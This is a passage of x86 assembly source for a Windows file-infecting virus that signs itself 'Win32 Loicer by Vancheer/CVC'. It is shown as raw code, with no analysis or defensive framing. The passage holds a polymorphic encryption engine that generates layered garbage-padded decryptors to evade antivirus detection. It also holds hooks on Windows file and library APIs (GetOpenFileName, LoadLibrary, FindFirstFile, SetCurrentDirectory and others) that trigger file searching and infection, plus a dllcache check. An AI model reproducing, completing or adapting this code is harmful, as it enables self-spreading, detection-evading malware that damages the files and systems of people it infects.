    lodsd
    call EAXToLowcase
    cmp eax,'ld/2'
    jnz short IsInDllCacheNext
    lodsd
    call EAXToLowcase
    cmp eax,'cacl'
    jnz short IsInDllCacheNext
    inc ebx
    jmp short IsInDllCacheRet
IsInDllCacheNext:
    pop esi
    inc esi
    lea eax,[esi+10]
    cmp eax,edi
    jc short IsInDllCacheLoop
    push esi
IsInDllCacheRet:
    pop esi
    or ebx,ebx
    popad
    retn
IsInDllCache_end:
 
db 'Win32 Loicer by Vancheer/CVC,made in China,2002'
 
;Param: esi->PolyUnit,edi->buffer to encrypt,ecx=buffer size
;Return: ecx=rounded size
VirEncrypt:
    call VirGetEncryptSize
 
    pushad
 
    mov ebp,esi
;We must reverse the decrypt order generated by the poly engine
VirEncryptReverseLoop:
    cmp [esi].PUType,PTNONE
    jz short VirEncryptBegin
    add esi,size PolyUnit
    jmp short VirEncryptReverseLoop
 
VirEncryptBegin:
VirEncryptDataLoop:
    mov ebx,[edi+ecx]
    push esi
 
VirEncryptTypeLoop:
    sub esi,size PolyUnit
    mov al,[esi].PUType
    mov edx,[esi].PUKey
 
    cmp al,PTXOR
    jnz short VirEncrypt_1
    xor ebx,edx
    jmp short VirEncryptNextType
VirEncrypt_1:
 
    cmp al,PTADD
    jnz short VirEncrypt_2
    sub ebx,edx
    jmp short VirEncryptNextType
VirEncrypt_2:
 
    cmp al,PTSUB
    jnz short VirEncrypt_3
    add ebx,edx
    jmp short VirEncryptNextType
VirEncrypt_3:
 
    cmp al,PTROR
    jnz short VirEncrypt_4
    push ecx
    mov cl,dl
    rol ebx,cl
    pop ecx
    jmp short VirEncryptNextType
VirEncrypt_4:
 
    cmp al,PTROL
    jnz short VirEncrypt_5
    push ecx
    mov cl,dl
    ror ebx,cl
    pop ecx
    jmp short VirEncryptNextType
VirEncrypt_5:
 
    bswap ebx
 
VirEncryptNextType:
    cmp esi,ebp
    jnz short VirEncryptTypeLoop
 
VirEncryptNextData:
    pop esi
    mov [edi+ecx],ebx
    sub ecx,4
    jge VirEncryptDataLoop
 
    popad
    retn
VirEncrypt_end:
 
 
;Param: ecx=buffer size
;Return: ecx=rounded buffer size
VirGetEncryptSize:
    and cl,0fch ;round to 4
    sub ecx,4
    retn
VirGetEncryptSize_end:
 
 
;Param: esi->PolyUnit,edi->poly output buffer,ebp->PolyVar
;   dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4
VirPoly:
    pushad
 
    call VirGetRand
    movzx ecx,al
    and cl,0fh
    add cl,08h ;15-23 layers poly
 
    push ecx
 
    mov al,PTNONE
 
VirPolyLoop:
    call PolyInitVar ;don't generate code before PolyInitVar
 
    call PolyGenGarbage
 
    push eax
    call VirPolyHelp ;mov a dword to a random reg
    pop eax
 
    push ecx
    push edx ;save two reg
 
    push eax
    call VirGetRand
    mov [esi].PUKey,eax
    xchg edx,eax
    pop eax
 
    call PolyGetType
    mov [esi].PUType,al
    add esi,size PolyUnit
    mov [esi].PUType,PTNONE
 
    xchg edx,[esp]
    call PolyGenGarbage
    xchg edx,[esp]
 
    cmp al,PTXOR
    jnz short VirPoly_2
;Method XOR
    call PolyXorReg32Imm
    jmp short VirPolyNext
 
VirPoly_2:
    cmp al,PTADD
    jnz short VirPoly_3
;Method add
    call PolyAddReg32Imm
    jmp short VirPolyNext
 
VirPoly_3:
    cmp al,PTSUB
    jnz short VirPoly_4
;Method sub
    call PolySubReg32Imm
    jmp short VirPolyNext
 
VirPoly_4:
    cmp al,PTROR
    jnz short VirPoly_5
;Method ROR
    mov dh,8
    call PolyRollReg32Imm8
    jmp short VirPolyNext
 
VirPoly_5:
    cmp al,PTROL
    jnz short VirPoly_6
;Method ROL
    xor dh,dh
    call PolyRollReg32Imm8
    jmp short VirPolyNext
 
VirPoly_6:
;Method BSWAP
    call PolyBswapReg32
;   jmp short VirPolyNext
 
VirPolyNext:
    pop edx
    pop ecx
 
    call PolyGenGarbage
    call PolyGenSafeGarbage
 
    call PolyMovMemReg32
 
    call PolyGenGarbage
 
    dec dword ptr [esp]
    jnz VirPolyLoop
 
    pop ecx
 
;    mov cl,dh
;   call PolyCmpReg32_0
 
;sub count reg,4
    mov cl,dh
    push large 4
    pop edx
    call PolySubReg32Imm
 
;jnl xxxxxxxx
    mov ax,8d0fh
    stosw
    mov eax,[esp]
    sub eax,edi
    sub eax,4
    stosd
 
    pop eax
    push edi
 
    popad
    retn
VirPoly_end:
 
 
;Param: ebp->PolyVar
;   dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4
PolyInitVar:
    pushad
    xor ecx,ecx
    mov [ebp],ecx
    mov [ebp+4],ecx
    mov bl,1
    mov cl,dl
    mov [ebp+ecx],bl
    movzx ecx,dh
    mov [ebp+ecx],bl
    popad
    retn
PolyInitVar_end:
 
VirPolyHelp:
    stc
    call PolyGetReg
    movzx eax,bl
    mov byte ptr [ebp+eax],1
    mov cl,bl
    push ecx
    call PolyMovReg32Mem
    pop ecx
    retn
VirPolyHelp_end:
 
 
;Generate some garbage to a buffer
PolyGenGarbageBuffer:
    pushad
    sub esp,size PolyVar
    mov ebp,esp
 
;Make the reg as ebp,ebp,only an address,not useful
    mov edx,0505h
    call PolyInitVar
 
    call VirGetRand
    and eax,0fh
    add al,0fh ;15-31 garbage
    push eax
PolyGenGarbageBufferLoop:
    call PolyGenSafeGarbage
    dec dword ptr [esp]
    jnz short PolyGenGarbageBufferLoop
 
    pop eax
 
    add esp,size PolyVar
    pop eax
    push edi
 
    popad
    retn
PolyGenGarbageBuffer_end:
 
;Save gargage code generate,can be used in other generation
PolyGenSafeGarbage:
    pushad
 
    call VirGetRand
    movzx eax,al
    and al,7
    add al,8 ;8-15 layers garbage code
    push eax
 
PolyGenSafeGarbageLoop:
    call VirGetRand
    mov edx,eax
    and al,0fh
    and ah,3 ;common reg
    xchg cl,ah ;cl=potential useful reg
 
    call PolyGetReg ;bl=garbagereg
;bl=gargage reg,cl=useful reg
 
    cmp al,PolyGenSafeGarbageMultiNum
    jnc PolyGenSafeGarbage_0
 
    push ebx
    call PolyGenSafeGarbageMulti
PolyGenSafeGarbageMulti_0:
    db 11h; adc
    db 01h; add
    db 21h; and
    db 39h; cmp
    db 89h; mov
    db 09h; or
    db 19h; sbb
    db 29h; sub
    db 31h; xor
PolyGenSafeGarbageMultiNum equ $-PolyGenSafeGarbageMulti_0
PolyGenSafeGarbageMulti:
    pop ebx
    movzx eax,al
    mov al,[ebx+eax]
    pop ebx
    call PolyOpDirReg1Reg2
    jmp short PolyGenSafeGarbageNext
 
PolyGenSafeGarbage_0:
    cmp al,PolyGenSafeGarbageMultiNum+0
    jnz short PolyGenSafeGarbage_1
;xchg garbagereg,commonreg/xchg garbagereg,commonreg
    call PolyXchgReg32Reg
    call PolyXchgReg32Reg
    jmp short PolyGenSafeGarbageNext
 
PolyGenSafeGarbage_1:
    cmp al,PolyGenSafeGarbageMultiNum+1
    jnz short PolyGenSafeGarbage_2
    test dh,10h
    jz short PolyGenSafeGarbage_@11
;jmp forword,short format
    mov al,0ebh
    stosb
    movzx eax,dh
    and al,3 ;max forward 3 bytes
    stosb
    add edi,eax
    jmp short PolyGenSafeGarbageNext
PolyGenSafeGarbage_@11:
;call forward/pop gargagereg
    mov al,0e8h
    stosb
    movzx eax,dh
    and al,3 ;max forward 3 bytes
    stosd
    add edi,eax
    mov al,58h
    or al,bl
    stosb
    jmp short PolyGenSafeGarbageNext
 
PolyGenSafeGarbage_2:
    cmp al,PolyGenSafeGarbageMultiNum+2
    jnz short PolyGenSafeGarbage_3
;bswap garbagereg
    mov al,0fh
    stosb
    mov al,0c8h
    or al,bl
    stosb
    jmp short PolyGenSafeGarbageNext
 
PolyGenSafeGarbage_3:
    cmp al,PolyGenSafeGarbageMultiNum+3
    jnz short PolyGenSafeGarbage_4
;jcc forward
    mov al,70h
    and dh,0fh
    or al,dh
    stosb
    shr edx,12
    mov al,dh
    and al,3 ;max 3 bytes
    stosb
    call PolyGetOneByteGarbage
    jmp short PolyGenSafeGarbageNext
 
PolyGenSafeGarbage_4:
    cmp al,PolyGenSafeGarbageMultiNum+4
    jnz short PolyGenSafeGarbage_5
;test reg,reg
    mov al,85h
    stosb
    mov al,cl
    shl al,3
    or al,0c0h
    or al,bl
    stosb
    jmp short PolyGenSafeGarbageNext
 
PolyGenSafeGarbage_5:
 
PolyGenSafeGarbageNext:
    dec dword ptr [esp]
    jnz PolyGenSafeGarbageLoop
 
    pop eax
 
    pop eax
    push edi
    popad
 
    retn
PolyGenSafeGarbage_end:
 
 
;nop,clc,stc,cld,std
;Param: al=code number
PolyGetOneByteGarbage:
    push ebx
    push eax
PolyGetOneByteGarbageLoop:
    or al,al
    jz short PolyGetOneByteGarbageRet
 
    push eax
    call VirGetRand
    xchg eax,ebx
    mov al,90h ;nop
    test bh,8
    jz short PolyGetOneByteGarbage1
    mov al,0f8h ;clc
    and bl,1
    add al,bl ;maybe stc
    jmp short PolyGetOneByteGarbageNext
 
PolyGetOneByteGarbage1:
    test bh,2
    jz short PolyGetOneByteGarbageNext
    mov al,0fch ;cld
    and bl,1
    add al,bl ;maybe std
;   jmp short PolyGetOneByteGarbageNext
 
PolyGetOneByteGarbageNext:
    stosb
    pop eax
    dec al
    jmp short PolyGetOneByteGarbageLoop
PolyGetOneByteGarbageRet:
    pop eax
    pop ebx
    retn
PolyGetOneByteGarbage_end:
 
 
;opcode dstreg,srcreg,select two direction
;Param: cl=srcreg,bl=dstreg,al=opcode
PolyOpDirReg1Reg2:
    push ebx
    push ecx
    push eax
    call VirGetRand
    test al,2
    pop eax
    jz short PolyOpDirReg1Reg2_1
    or al,2
    xchg cl,bl
PolyOpDirReg1Reg2_1:
    stosb
    mov al,cl
    shl al,3
    or al,0c0h
    or al,bl
    stosb
    pop ecx
    pop ebx
    retn
PolyOpDirReg1Reg2_end:
 
 
;xchg reg32,reg32
;Param: cl,bl= reg32
PolyXchgReg32Reg:
    call VirGetRand
    test al,1
    jz short PolyXchgReg32Reg1
;xchg reg,reg
    mov al,87h
    stosb
    mov al,cl
    shl al,3
    or al,0c0h
    or al,bl
    stosb
    retn
PolyXchgReg32Reg1:
;push reg1/push reg2/pop reg1/pop reg2
    mov al,50h
    or al,cl
    stosb
    mov al,50h
    or al,bl
    stosb
    mov al,58h
    or al,cl
    stosb
    mov al,58h
    or al,bl
    stosb
    retn
    retn
PolyXchgReg32Reg_end:
 
 
PolyGenGarbage:
    pushad
 
    mov esi,edx ;save edx
 
    call VirGetRand
    test ah,3
    jnz short PolyGenGarbageNotSafe
    popad
    jmp PolyGenSafeGarbage
 
PolyGenGarbageNotSafe:
    movzx eax,al
    and al,7
    add al,8 ;8-15 layers garbage code
    push eax
 
PolyGenGarbageLoop:
    call VirGetRand
    mov edx,eax
    and al,7
    and ah,3 ;common reg
    xchg cl,ah
 
    call PolyGetReg ;bl=garbagereg
    xchg cl,bl ;cl=gargage reg,bl=useful reg
 
    cmp al,0
    jnz short PolyGenGarbage_1
;mov garbagereg,commonreg
    xchg cl,bl
    call PolyMovReg32Reg32 ;mov regbl,regcl
    jmp short PolyGenGarbageNext
 
PolyGenGarbage_1:
    cmp al,1
    jnz short PolyGenGarbage_2
;add garbagereg,imm32
    call PolyAddReg32Imm
    jmp short PolyGenGarbageNext
 
PolyGenGarbage_2:
    cmp al,2
    jnz short PolyGenGarbage_3
;roll garbagereg,imm8
    bswap edx
    and dh,8
    call PolyRollReg32Imm8
    jmp short PolyGenGarbageNext
 
PolyGenGarbage_3:
    cmp al,3
    jnz short PolyGenGarbage_4
;mov garbagereg,mem
    mov edx,esi
    call PolyMovReg32Mem
    jmp short PolyGenGarbageNext
 
PolyGenGarbage_4:
 
PolyGenGarbageNext:
    dec dword ptr [esp]
    jnz PolyGenGarbageLoop
 
    pop eax
 
    pop eax
    push edi
    popad
 
    retn
PolyGenGarbage_end:
 
 
if 0
;cmp reg32,0
;Param: cl=reg32
PolyCmpReg32_0:
    call VirGetRand
    test al,1
    jnz short PolyCmpReg32_0_1
;cmp reg32,0
    test al,2
    jnz short PolyCmpReg32_0_2
;long format
    mov al,81h
    stosb
    mov al,0f8h
    or al,cl
    stosb
    xor eax,eax
    stosd
    retn
PolyCmpReg32_0_2:
;short format
    mov al,83h
    stosb
    mov al,0f8h
    or al,cl
    stosb
    xor al,al
    stosb
    retn
PolyCmpReg32_0_1:
;or reg32,reg32
    test al,8
    mov al,09h
    jz short PolyCmpReg32_0_3
    mov al,0bh
PolyCmpReg32_0_3:
    stosb
    mov al,cl
    shl al,3
    or al,0c0h
    or al,cl
    stosb
    retn
PolyCmpReg32_0_end:
endif
 
;ror/rol reg32,imm8
;Param: cl=reg32,dl=imm8,dh=0 means rol,dh=8 means ror
PolyRollReg32Imm8:
    call VirGetRand
    cmp dl,1
    jnz short PolyRollReg32Imm8_1
    test al,1
    jz short PolyRollReg32Imm8_1
;ror/rol reg32,1
    mov al,0d1h
PolyRollReg32Imm8__help:
    stosb
    mov al,0c0h
    or al,cl
    or al,dh
    stosb
    retn
 
PolyRollReg32Imm8_1:
    test al,2
    jnz short PolyRollReg32Imm8_2
PolyRollReg32Imm8__help2:
;ror/rol reg32,imm8
    mov al,0c1h
    call PolyRollReg32Imm8__help
    mov al,dl
    stosb
    retn
 
PolyRollReg32Imm8_2:
;mov tmpreg32,reg32/ror/rol tmpreg32,imm8/mov reg32,tmpreg32
    stc
    call PolyGetReg
    call PolyMovReg32Reg32
    xchg bl,cl
    call PolyRollReg32Imm8__help2
    call PolyMovReg32Reg32
    retn
PolyRollReg32Imm8_end:
 
 
;bswap reg32
;Param: cl=reg32
PolyBswapReg32:
    call VirGetRand
    test al,1
    jnz short PolyBswapReg32_1
;bswap reg32
PolyBswapReg32_0:
    mov al,0fh
    stosb
    mov al,0c8h
    or al,cl
    stosb
    retn
PolyBswapReg32_1:
;mov tmpreg32,reg32/bswap tmpreg32/mov reg32,tmpreg32
    stc
    call PolyGetReg
    call PolyMovReg32Reg32
    xchg bl,cl
    call PolyBswapReg32_0
    call PolyMovReg32Reg32
    retn
PolyBswapReg32_end:
 
 
;xor reg32,imm32
;Param: cl=reg32,edx=imm32
PolyXorReg32Imm:
    call VirGetRand
    test al,1
    jz short PolyXorReg32Imm1
;xor reg32,imm32
    mov al,81h
    stosb
    mov al,0f0h
    or al,cl
    stosb
    mov eax,edx
    stosd
    retn
PolyXorReg32Imm1:
;mov tmpreg32,imm32/xor reg32,tmp32
    stc
    call PolyGetReg
    xchg bl,cl
    call PolyMovReg32Imm
    mov al,33h
    stosb
    mov al,bl
    shl al,3
    or al,0c0h
    or al,cl
    stosb
    retn
PolyXorReg32Imm_end:
 
 
;add ret32,imm32
;Param: cl=reg32,edx=imm32
PolyAddReg32Imm:
    call VirGetRand
    cmp edx,1;can be inc reg32?
    jnz short PolyAddReg32Imm1
    test al,8
    jz short PolyAddReg32Imm1
;inc reg32
    mov al,40h
    or al,cl
    stosb
    retn
 
PolyAddReg32Imm1:
    test al,1
    jnz short PolyAddReg32Imm2
;mov tmpreg32,imm32/add reg32,tmpreg32
    stc
    call PolyGetReg
    xchg bl,cl
    call PolyMovReg32Imm
    mov al,3
    stosb
    mov al,bl
    shl al,3
    or al,0c0h
    or al,cl
    stosb
    retn
 
PolyAddReg32Imm2:
    test al,10h
    jz short PolyAddReg32Imm3
;add reg32,imm
    mov al,81h
    stosb
    mov al,0c0h
    or al,cl
    stosb
    mov eax,edx
    stosd
    retn
 
PolyAddReg32Imm3:
;or reg32,reg32/adc reg32,imm
    mov bl,cl
    mov al,09h
    call PolyOpDirReg1Reg2
    mov al,81h
    stosb
    mov al,0d0h
    or al,cl
    stosb
    mov eax,edx
    stosd
    retn
PolyAddReg32Imm_end:
 
;sub ret32,imm32
;Param: cl=reg32,edx=imm32
PolySubReg32Imm:
    call VirGetRand
    cmp edx,1;can be dec reg32?
    jnz short PolySubReg32Imm1
    test al,8
    jz short PolySubReg32Imm1
;dec reg32
    mov al,48h
    or al,cl
    stosb
    retn
 
PolySubReg32Imm1:
    test al,1
    jnz short PolySubReg32Imm2
;add reg32,neg imm
    neg edx
    jmp short PolyAddReg32Imm1
 
PolySubReg32Imm2:
;sub reg32,imm
    mov al,81h
    stosb
    mov al,0e8h
    or al,cl
    stosb
    mov eax,edx
    stosd
    retn
PolySubReg32Imm_end:
 
 
;mov ret32,imm32
;Param: cl=reg32,edx=imm32
PolyMovReg32Imm:
    call VirGetRand
    test al,1
    jz short PolyMovReg32Imm1
;mov reg32,imm32
    mov al,0b8h
    or al,cl
    stosb
    mov eax,edx
    stosd
    retn
 
PolyMovReg32Imm1:
;push imm32/pop reg32
    mov al,68h
    stosb
    mov eax,edx
    stosd
    mov al,58h
    or al,cl
    stosb
    retn
PolyMovReg32Imm_end:
 
 
;mov reg32,[reg of dl(source) + reg of bh(count)]
;Param: cl=reg32
PolyMovReg32Mem:
    call VirGetRand
    test al,3
    jz short PolyMovReg32Mem1
;mov tmpreg8,mem/mov reg8,tmpreg
    clc
    call PolyGetReg
    xchg cl,bl
    call PolyMovReg32Mem3 ;mov tmpre32,mem
;Now cl=tmpreg,bl=reg
    call PolyMovReg32Reg32
    retn
 
PolyMovReg32Mem1:
    test al,4
    jnz short PolyMovReg32Mem2
PolyMovReg32Mem3:
;mov reg8,mem
    mov al,8bh
    call PolyMovMemHelp
    retn
 
PolyMovReg32Mem2:
;push mem/pop reg
    mov ax,034ffh
    stosw
    mov al,dh
    shl al,3
    or al,dl ;SIB
    stosb
    mov al,cl ;pop reg
    or al,58h
    stosb
    retn
PolyMovReg32Mem_end:
 
 
;mov [reg of dl(source) + reg of bh(count)],reg32
;Param: cl=reg32
PolyMovMemReg32:
    call VirGetRand
    test al,3
    jz short PolyMovMemReg32_1
;mov tmpreg,reg/mov mem32,tmpreg
    clc
    call PolyGetReg
;cl=reg32,bl=tmpreg32
    call PolyMovReg32Reg32
    xchg bl,cl
;cl=reg32,bl=tmpreg32
 
PolyMovMemReg32_1:
    test al,4
    jz short PolyMovMemReg32__2
;mov mem32,reg32
    mov al,89h
    call PolyMovMemHelp
    retn
 
PolyMovMemReg32__2:
;push reg32/pop mem32
    mov al,50h
    or al,cl
    stosb
    mov ax,048fh
    stosw
    mov al,dh
    shl al,3
    or al,dl ;SIB
    stosb
    retn
PolyMovMemReg32_end:
 
 
;For mov mem32,reg or mov reg,mem32
;Param: al=the first byte,89h-mov mem32,reg,8bh-mov reg,mem32
PolyMovMemHelp:
    stosb
    mov al,cl
    shl al,3
    or al,4
    stosb ;mod/reg/rm
    mov al,dh
    shl al,3
    or al,dl ;SIB
    stosb
    retn
PolyMovMemHelp_end:
 
 
;mov reg32,[reg of dl(source) + reg of bh(count)]
;Param: cl=source reg32,bl=dest reg32
PolyMovReg32Reg32:
    call VirGetRand
    test al,1
    jz short PolyMovReg32Reg32_1
;mov dstreg32,srcreg32
    test al,8
    jz short PolyMovReg32Reg32_2
;reg1 to reg2
    mov al,89h
    stosb
    mov al,cl
    shl al,3
    or al,0c0h
    or al,bl
    stosb
    retn
 
PolyMovReg32Reg32_2:
;reg2 to reg1
    mov al,8bh
    stosb
    mov al,bl
    shl al,3
    or al,0c0h
    or al,cl
    stosb
    retn
 
PolyMovReg32Reg32_1:
;push srcreg32/pop dstreg32
    mov al,50h
    or al,cl
    stosb
    mov al,58h
    or al,bl
    stosb
    retn
PolyMovReg32Reg32_end:
 
 
;Param: ebp->PolyVar,CF=0: use only common reg,CF=1: use all reg
;Return: bl=reg,bh won't be affect
PolyGetReg:
    push eax
    push edx
    push ecx
 
    setc cl
    shr cl,2
    add cl,3
 
    call VirGetRand
    movzx edx,al
    and dl,cl
    dec dl
PolyGetRegLoop:
    inc dl
    and dl,cl
    cmp dl,4 ;is esp?
    jz short PolyGetRegLoop
    cmp dl,5 ;is ebp?
    jz short PolyGetRegLoop
    cmp byte ptr [ebp+edx],dh ;dh=0
    jnz short PolyGetRegLoop
    mov bl,dl
 
    pop ecx
    pop edx
    pop eax
    retn
PolyGetReg_end:
 
 
;Param: al=last poly type
;Return: al=poly type
PolyGetType:
    push edx
 
    mov dh,al
    call VirGetRand
    xor ah,ah ;avoid overflow error
    mov dl,PTNUM
    div dl
 
    mov al,ah
 
    pop edx
    retn
PolyGetType_end:
 
;Return: eax=random number
VirGetRand:
    pushad
    call VirGetRandIP
VirGetRandIP:
    pop ebp
    call [ebp+addrGetTickCount-VirGetRandIP]
    mov ecx,12345678h
RandSeed equ $-4
    add eax,ecx
    rol ecx,1
    add ecx,esp
    add [ebp+RandSeed-VirGetRandIP],ecx
    push large 32
    pop ecx
VirGetRand1:
    shr eax,1
    jnc VirGetRand2
    xor eax,0ED388320h
VirGetRand2:
    loop VirGetRand1
    mov [esp+7*4],eax
 
    popad
    retn
get_rand_end:
 
;Try to set GetOpenFileName hook
;Param: esi->OPENFILENAME, edi->address of hook procedure
HookGetOpenFileNameTryHook:
    mov ecx,[esi].OPENFILENAME.Flags
    test ecx,OFN_ENABLEHOOK
    jnz short HookGetOpenFileNameTryHookRet
    test ecx,OFN_EXPLORER
    jz short HookGetOpenFileNameTryHookRet
    or [esi].OPENFILENAME.Flags,OFN_ENABLEHOOK
    mov [esi].OPENFILENAME.lpfnHook,edi
HookGetOpenFileNameTryHookRet:
    retn
HookGetOpenFileNameTryHook_end:
 
 
;Try to release GetOpenFileName hook
;Param: esi->OPENFILENAME, edi->address of hook procedure
HookGetOpenFileNameUnhook:
    cmp [esi].OPENFILENAME.lpfnHook,edi
    jnz short HookGetOpenFileNameUnhookRet
    and [esi].OPENFILENAME.Flags,not OFN_ENABLEHOOK
    mov [esi].OPENFILENAME.lpfnHook,0
HookGetOpenFileNameUnhookRet:
    retn
HookGetOpenFileNameUnhook_end:
 
 
HookGetOpenFileNameHookA:
    cmp dword ptr [esp+4+4],WM_NOTIFY ;uiMsg
    jnz short HookGetOpenFileNameHookARet
    mov eax,[esp+4+4*3] ;lParam
    cmp dword ptr [eax+8],CDN_FOLDERCHANGE
    jnz short HookGetOpenFileNameHookARet
    mov eax,[esp+4]
 
    pushad
    call HookGetOpenFileNameHookAIP
HookGetOpenFileNameHookAIP:
    pop ebp
 
    push eax
    call [ebp+addrGetParent-HookGetOpenFileNameHookAIP]
 
    sub esp,1000
    mov edi,esp
    push edi
    push 500
    push CDM_GETFOLDERPATH
    push eax
    call [ebp+addrSendMessageA-HookGetOpenFileNameHookAIP]
    cmp eax,0
    jle short HookGetOpenFileNameHookAFail
    cmp byte ptr [edi+1],0
    jz short HookGetOpenFileNameHookAWide
    call TrySearchPath
    jmp short HookGetOpenFileNameHookAFail
HookGetOpenFileNameHookAWide:
    call TrySearchPathWide
HookGetOpenFileNameHookAFail:
    add esp,1000
    popad
 
HookGetOpenFileNameHookARet:
    xor eax,eax
    retn 16
HookGetOpenFileNameHookA_end:
 
 
HookGetSaveFileNameA:
    pushad
    pushfd
    call HookGetSaveFileNameAIP
HookGetSaveFileNameAIP:
    pop ebx
 
    mov eax,[ebx+addrGetSaveFileNameA-HookGetSaveFileNameAIP]
    lea ebp,[ebx+HookGetOpenFileNameAIP-HookGetSaveFileNameAIP]
    jmp short HookGetOpenFileNameA_1
HookGetSaveFileNameA_end:
 
 
HookGetSaveFileNameW:
    pushad
    pushfd
    call HookGetSaveFileNameWIP
HookGetSaveFileNameWIP:
    pop ebx
 
    mov eax,[ebx+addrGetSaveFileNameW-HookGetSaveFileNameWIP]
    lea ebp,[ebx+HookGetOpenFileNameWIP-HookGetSaveFileNameWIP]
    jmp short HookGetOpenFileNameW_1
HookGetSaveFileNameW_end:
 
 
HookGetOpenFileNameA:
    pushad
    pushfd
    call HookGetOpenFileNameAIP
HookGetOpenFileNameAIP:
    pop ebp
 
    mov eax,[ebp+addrGetOpenFileNameA-HookGetOpenFileNameAIP]
 
HookGetOpenFileNameA_1:
    mov esi,[esp+9*4+4]
 
    lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameAIP]
    call HookGetOpenFileNameTryHook
 
    push esi
    call eax
 
    mov [esp+4+7*4],eax
 
    call HookGetOpenFileNameUnhook
 
    popfd
    popad
    retn 4
HookGetOpenFileNameA_end:
 
 
HookGetOpenFileNameW:
    pushad
    pushfd
    call HookGetOpenFileNameWIP
HookGetOpenFileNameWIP:
    pop ebp
 
    mov eax,[ebp+addrGetOpenFileNameW-HookGetOpenFileNameWIP]
 
HookGetOpenFileNameW_1:
    mov esi,[esp+9*4+4]
 
    lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameWIP]
    call HookGetOpenFileNameTryHook
 
    push esi
    call eax
    mov [esp+4+7*4],eax
 
    call HookGetOpenFileNameUnhook
 
    popfd
    popad
    retn 4
HookGetOpenFileNameW_end:
 
 
HookLoadLibraryA:
    pushad
    pushfd
    call HookLoadLibraryAIP
HookLoadLibraryAIP:
    pop ebp
 
    mov esi,[esp+9*4+4]
    push esi
    call [ebp+addrLoadLibraryA-HookLoadLibraryAIP]
    mov [esp+4+7*4],eax
    or eax,eax
    jz short HookLoadLibraryARet
 
    mov edi,1000
    sub esp,edi
    mov edx,esp
    push edi
    push edx
    push eax
    call HookGetModuleFileNameA
    add esp,edi
HookLoadLibraryARet:
    popfd
    popad
    retn 4
HookLoadLibraryA_end:
 
 
HookLoadLibraryW:
    pushad
    pushfd
    call HookLoadLibraryWIP
HookLoadLibraryWIP:
    pop ebp
 
    mov esi,[esp+9*4+4]
    push esi
    call [ebp+addrLoadLibraryW-HookLoadLibraryWIP]
    mov [esp+4+7*4],eax
    or eax,eax
    jz short HookLoadLibraryWRet
 
    mov edi,1000
    sub esp,edi
    mov edx,esp
    push large 500
    push edx
    push eax
    call HookGetModuleFileNameW
    add esp,edi
HookLoadLibraryWRet:
    popfd
    popad
    retn 4
HookLoadLibraryW_end:
 
 
HookGetModuleFileNameA:
    pushad
    pushfd
    call HookGetModuleFileNameAIP
HookGetModuleFileNameAIP:
    pop ebp
 
    mov esi,[esp+9*4+4]
    mov edi,[esp+9*4+4+4]
    mov eax,[esp+9*4+4+4+4]
    push eax
    push edi
    push esi
    call [ebp+addrGetModuleFileNameA-HookGetModuleFileNameAIP]
    mov [esp+4+7*4],eax
    or eax,eax
    jz short HookGetModuleFileNameARet
 
    call TrySearchFile
HookGetModuleFileNameARet:
    popfd
    popad
    retn 12
HookGetModuleFileNameA_end:
 
 
HookGetModuleFileNameW:
    pushad
    pushfd
    call HookGetModuleFileNameWIP
HookGetModuleFileNameWIP:
    pop ebp
 
    mov esi,[esp+9*4+4]
    mov edi,[esp+9*4+4+4]
    mov eax,[esp+9*4+4+4+4]
    push eax
    push edi
    push esi
    call [ebp+addrGetModuleFileNameW-HookGetModuleFileNameWIP]
    mov [esp+4+7*4],eax
    or eax,eax
    jz short HookGetModuleFileNameWRet
 
    xchg edi,edx
    call InfectFileWide
HookGetModuleFileNameWRet:
    popfd
    popad
    retn 12
HookGetModuleFileNameW_end:
 
 
HookGetCurrentDirectoryA:
    pushad
    pushfd
 
    call HookGetCurrentDirectoryAIP
HookGetCurrentDirectoryAIP:
    pop ebp
 
    mov esi,[esp+9*4+4]
    mov edi,[esp+9*4+4+4]
    push edi
    push esi
    call [ebp+addrGetCurrentDirectoryA-HookGetCurrentDirectoryAIP]
    mov [esp+4+7*4],eax
    or eax,eax
    jz short HookGetCurrentDirectoryARet
    
    call TrySearchPath
HookGetCurrentDirectoryARet:
    popfd
    popad
    retn 8
HookGetCurrentDirectoryA_end:
 
 
HookGetCurrentDirectoryW:
    pushad
    pushfd
 
    call HookGetCurrentDirectoryWIP
HookGetCurrentDirectoryWIP:
    pop ebp
 
    mov esi,[esp+9*4+4]
    mov edi,[esp+9*4+4+4]
    push edi
    push esi
    call [ebp+addrGetCurrentDirectoryW-HookGetCurrentDirectoryWIP]
    mov [esp+4+7*4],eax
    or eax,eax
    jz short HookGetCurrentDirectoryWRet
 
    call TrySearchPathWide
HookGetCurrentDirectoryWRet:
    popfd
    popad
    retn 8
HookGetCurrentDirectoryW_end:
 
 
HookSetCurrentDirectoryA:
    pushad
    pushfd
 
    call HookSetCurrentDirectoryAIP
HookSetCurrentDirectoryAIP:
    pop ebp
 
    mov edi,[esp+9*4+4]
    push edi
    call [ebp+addrSetCurrentDirectoryA-HookSetCurrentDirectoryAIP]
    mov [esp+4+7*4],eax
    or eax,eax
    jz short HookSetCurrentDirectoryARet
    
    call TrySearchPath
HookSetCurrentDirectoryARet:
    popfd
    popad
    retn 4
HookSetCurrentDirectoryA_end:
 
 
HookSetCurrentDirectoryW:
    pushad
    pushfd
 
    call HookSetCurrentDirectoryWIP
HookSetCurrentDirectoryWIP:
    pop ebp
 
    mov edi,[esp+9*4+4]
    push edi
    call [ebp+addrSetCurrentDirectoryW-HookSetCurrentDirectoryWIP]
    mov [esp+4+7*4],eax
    or eax,eax
    jz short HookSetCurrentDirectoryWRet
 
    call TrySearchPathWide
HookSetCurrentDirectoryWRet:
    popfd
    popad
    retn 4
HookSetCurrentDirectoryW_end:
 
 
HookFindFirstFileA:
    pushad
    pushfd
    
    call HookFindFirstFileAIP
HookFindFirstFileAIP:
    pop ebp
 
    mov esi,[esp+9*4+4]
    mov edi,[esp+9*4+4+4]
    push edi
    push esi
    call [ebp+addrFindFirstFileA-HookFindFirstFileAIP]
    mov [esp+4+7*4],eax
    inc eax
    jz short HookFindFirstFileARet
 
    add edi,4*11 ;edi->cFileName
    push esi
    call HookFindHelp
    pop edi
 
    call TrySearchFile
 
HookFindFirstFileARet:
    popfd
    popad
 
    retn 8
HookFindFirstFileA_end:
 
 
;Param:    esi->lpFileName,edi->cFileName of  WIN32_FIND_DATA
HookFindHelp:
    sub esp,2000
    xchg ebx,edi
    mov edi,esp
